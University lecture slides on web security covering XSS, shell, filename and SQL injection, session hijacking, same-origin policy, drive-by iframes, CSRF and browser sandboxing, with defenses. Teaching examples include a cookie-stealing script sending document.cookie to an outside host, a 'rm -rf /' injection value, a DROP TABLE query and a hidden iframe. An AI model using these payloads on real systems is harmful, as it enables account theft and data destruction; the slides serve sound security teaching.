CS 114: Network
Security
Lecture 21: Web Security
Prof. Daniel Votipka
Spring 2023
(Some slides courtesy of Micah Sherr and Patrick McDaniel)
Administrivia
• Exam 2 is graded!
• Homework 2 is due 27 Apr
• Manually graded — message the instructors when
you submit to get a grade check
• You can use python 2 or python 3
• We’re in the home stretch
• This week: Web Security, Human Factors in Security
• Next week: Exam review, Final exam
Plan for today
• Exam 2 review
• Web Security
• Intro Review
• Attacks/Defenses
• Browser security
3
Plan for today
• Exam 2 review
• Web Security
• Intro
• Attacks/Defenses
• Browser security
4
Early Web Systems
• Early web systems
provided a click-render-
click cycle of acquiring
web content.
• Web content
consisted of static
content with little user
interaction.
5
Web Systems Evolve...
• The web has evolved from a document retrieval and rendering
to sophisticated distributed application platform providing:
• dynamic content
• user-driven content
• interactive interfaces
• multi-site content
• ....
• With new interfaces comes new vulnerabilities ...
6
Early Web Systems
• Early web systems
provided a click-render-
click cycle of acquiring
web content.
• Web content
consisted of static
content with little user
interaction.
7
The new web-page
• Rendered elements from many
sources containing scripts,
images, and stylized by cascading
style sheets (CSS)
• A browser may be
compromised by any of these
elements [more on browser
compromises later]
8
Dynamic Content: CGI
• Common Gateway Interface (CGI)
• Generic way to call external applications on the server
• Passes URL to external program (e.g., form)
• Result is captured and returned to requestor
• Historically
• “shell” scripts used to generate content
• Very, very dangerous
9
Dynamic Content: JavaScript
• Scripting language used to improve quality/experience of web
browsing
• Create dialogs, forms, graphs, etc.
• Built upon API functions (lots of different flavors)
• No ability to read local files or open connections
• Security: No ability to read local files, open connections, but …
• DoS – the “infinite popup” script
• Often could not “break out” with restarting computer
• Spoofing – easy to create “password” dialogs
10
Adding State to the Web
with Cookies
• Cookies were designed to offload server
state to browsers
• Not initially part of web tools (Netscape)
• Allows users to have cohesive experience
• E.g., flow from page to page
• Someone made a design choice
• Use cookies to authenticate and authorize
users
• E.g. Amazon.com shopping cart, WSJ.com
11
Cookies • New design choice means
cookies must be protected
behaving badly • Against forgery (integrity)
• Against disclosure
(confidentiality)
• Cookies not robust against
web designer mistakes,
committed attackers
• Were never intended to be
• Need the same scrutiny as
any other technology
• Many security problems arise
out of a technology built for
one thing incorrectly applied
to something else
12
Web Transport Security: SSL
• Secure Socket Layer (SSL/TLS)
• Used to authenticate servers HTTP
• Can authenticate clients
• Security at the socket layer SSL
• Provides
• authentication TCP
• confidentiality IP
• integrity
13
<Evil Code>
“Evil Input”
HTTP + Crypto Sauce ≠ Web Security
15
Plan for today
• Exam 2 review
• Web Security
• Intro
• Attacks/Defenses
• Browser security
16
Cross-Site Scripting (XSS)
• Assume the following is posted to a message board on
your favorite website:
Hello message board.
<SCRIPT>malicious code</SCRIPT>
This is the end of my message.
• Now the message board web app uses the input to
create the dynamic webpage (e.g., blogger nonsense).
• Now a malicious script is running
• Applet, ActiveX control, JavaScript…
17
The Internet is littered with XSS
vulnerabilities
https://news.netcraft.com/archives/2008/04/24/
clinton_and_obama_xss_battle_develops.html
18
Stealing cookies with XSS
<script>document.location='http://
www.cgisecurity.com/cgi-bin/
cookie.cgi’+document.cookie</script>
19
XSS Defenses
• HTML Sanitization - Remove or do not allow html tags
as dynamic user input
• This should be done for all user input
• Output Encoding - Convert user-typed input to static
content so it is not interpreted as code by the browser
• Most modern web frameworks (React, Angular,Vue,
etc.) support these by default, but are not perfect
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
20
XSS Defense-in-Depth
• Content-Security-Policy (CSP)
• Headers provided by the server that indicate limits
on dynamic content on the page
• Exs:
• Restricting inline scripts
• Restricting remote scripts
• Restrict unsafe JavaScript
21
Injection Attacks:
Shell Injection
• An attacker that can inject arbitrary inputs into the system can control it
in subtle ways
• shell injection - run arbitrary code by carefully selecting input such that it
is run by a shell on the server
• Example: consider <?php system("ls " . $_GET['USER_INPUT']); ?>
where user is supposed to select a directory from a drop-down list
• on most UNIXes/Linuxes, semicolon allows multiple commands on
single line; e.g., echo hello; echo goodbye
• what happens when user sets USER_INPUT field to “/;
rm -rf /”?
• Q: How can we prevent shell injection attacks?
22
Injection Attacks:
Filename Injection
• filename injection - if you can control what a filename is
in application, then you can manipulate the host
• Poorly constructed applications build filename based
on user input or input URLs, e.g., hidden POST fields
• e.g., change temporary filename input to ~/.profile
<?php
handle = fopen($_GET['LOGFILE'], "w");
fwrite( $handle, “hello world” );
...
<FORM METHOD=POST ACTION="../cgi-bin/mycgi.pl">
<INPUT TYPE="hidden" VALUE="~/.profile" NAME="LOGFILE">
</FORM>
23
Injection Attacks:
SQL Injection
• Exploits the fact that many inputs to web applications are
• under control of the user
• used directly in SQL queries against back-end databases
• Attacker inserts escaped code into the input:
SELECT email, login, last_name
FROM user_table
WHERE email = 'x'; DROP TABLE user_table; --';
• One of the most widely exploited and costly exploits in web history.
• Industry reported as many as 16% of websites were vulnerable to
SQL injection in 2007, 20.2% in 2014, and 12% in 2020
• This may be inflated, but clearly an ongoing problem.
24
Little Bobby Tables
25
Preventing SQL injection
• Use the SQL/Perl prevent libraries (prepared statements)
• Bad
$sql = "select * from some_table where some_col = $input";
$sth = $dbh->prepare( $sql );
$sth->execute;
• Good
$sql = "select * from some_table where some_col = ?";
$sth = $dbh->prepare( $sql );
$sth->execute( $input );
• Other approaches: have built (static analysis) tools for finding
unsafe input code and (dynamic tools) to track the use of inputs
within the web application lifetime.
26
Session Hijacking
• Virtual sessions are implemented in many ways
• session ID in cookies, URLs
• If I can guess, infer, or steal the session ID, game over
• Example, if your bank encodes the session ID in the url,
then a malicious attacker can simply keep trying session
IDs until gets a good one.
http://www.mybank.com/loggedin?sessionid=11
• If user was logged in, attacker has full control over
account.
• Countermeasure: randomized, large, confidential session IDs
that are tied to individual host address (see cookies)
27
Preventing Web Attacks
• Broad Approaches
• Validate input (also called input sanitization)
• Limit program functionality
• Don’t leave open ended-functionality
• Execute with limited privileges
• Don’t run web server as root
• Apply policy of least privilege
• Input tracking, e.g., taint tracking
• Source code analysis, e.g., c-cured
28
Plan for today
• Exam 2 review
• Web Security
• Intro
• Attacks/Defenses
• Browser security
29
30
Same Origin Policy
• Document or script cannot access (read or write) data from another origin
• Two pages have the same origin if they have the:
• same protocol (http, https, etc.);
• same port (80, 8080); and
• same hostname
• Q: for http://store.company.com/dir/page.html, which of the following have the same
origin (as defined by the SOP)?
• http://store.company.com/dir2/other.html
• http://store.company.com/dir/inner/another.html
• https://store.company.com/secure.html
• http://store.company.com:81/dir/etc.html
• http://news.company.com/dir/other.html
• sites can set document.domain to be suffix of their domain, enabling “communication”
across company’s sites (e.g. across site1.foo.com and site2.foo.com)
• Firefox has removed this feature and Chrome/MS Edge are planning to remove it for
security reasons
31
JavaScript on sketchy.com can’t
access pnc.form.password from
PNC page
32
But...
33
Invisible drive-by-download on
Sketchy.com can access ALL content
on every page
34
Attack Vectors
• Drive-by-downloads: bypasses NAT,
firewalls, proxies, etc. to attack victim machine
• usually causes victim browser to open 0-
by-0 pixel iFRAME pointing to site that
installs malware using JavaScript loader
• uses plugin vulnerabilities to infect machine
• “All Your iFRAMES Point to Us” -- study of
drive-by-downloads by Google and Johns
Hopkins source: “All Your iFRAMES Point to Us”
• 1.3% of Google’s search results contain USENIX Security 2008
malicious URL
35
Malicious IFrame(s)
• An IFRAME is a HTML tag that
creates an embedded frame in
the content of another page.
• Attack vector de jour for
delivering content that
exploits browser
vulnerabilities.
• E.g., deliver crafted .jpg or
malicious scripting
• The attack occurs when the
adversary breaks into a
webserver and places a IFRAME
in legitimate content
<iframe src=http://foo.com/counter style=display:none></iframe>
36
Prevalence of Suspicious/
Malicious Pages
Source: “All Your iFRAMES Point to Us”
37
Cross-Site Request Forgery
• Same Origin Policy prevents malicious website from directly accessing legit
site...
• ... so the user of the malicious website is tricked into issuing a transaction on
the legit site
• e.g., <a href="http://bank.com?pay_person=Eve&amount=10000">click me if
you like cake</a>
• assumes that targeted user is already logged into bank.com
• This is an example of a confused deputy attack against the web browser
• Defenses:
• side-effect free GET requests
• default deny policy for cross-site requests
• checking HTTP X-Requested-With, Referer, or Origin headers
38
Modern Browsers
• Browsers do a lot of things within a single application/process:
• User-interface
• rendering HTML
• client-side languages (JavaScript,VBScript, ActiveX)
• Multiple network protocols (http, https, ftp, gopher)
• Plugins (loadable modules/libraries)
• File access
• Storage / cache system
• Password and credentials management
• Certificate storage
39
Modern Browsers
Source: “Architecture and evolution of the modern web browser”
by Grosskurth and Godfrey
40
One Process to
Rule Them All
• Exploiting any single component of a browser gives
attacker control over entire browser
• user interface
• other tabs / windows
• password storage?
• certificate storage?
• Attacker has privileges of user running browser
application
41
“Secure web browsing with the OP web browser”
by Grier, Tang, and King [IEEE S&P, 2008]
• Apply sandboxing/VM principle to the browser
• but rely on the OS to provide separation
• Each page rendered in its own OS process
• Communication handled by browser kernel
• Security of browser depends on security of
smaller, more manageable browser kernel
• Kernel monitors 5 browser subsystems
• Exposes API for communicating between
subsystems
42
Plan for today
• Exam 2 review
• Web Security
• Intro
• Attacks/Defenses
• Browser security
43
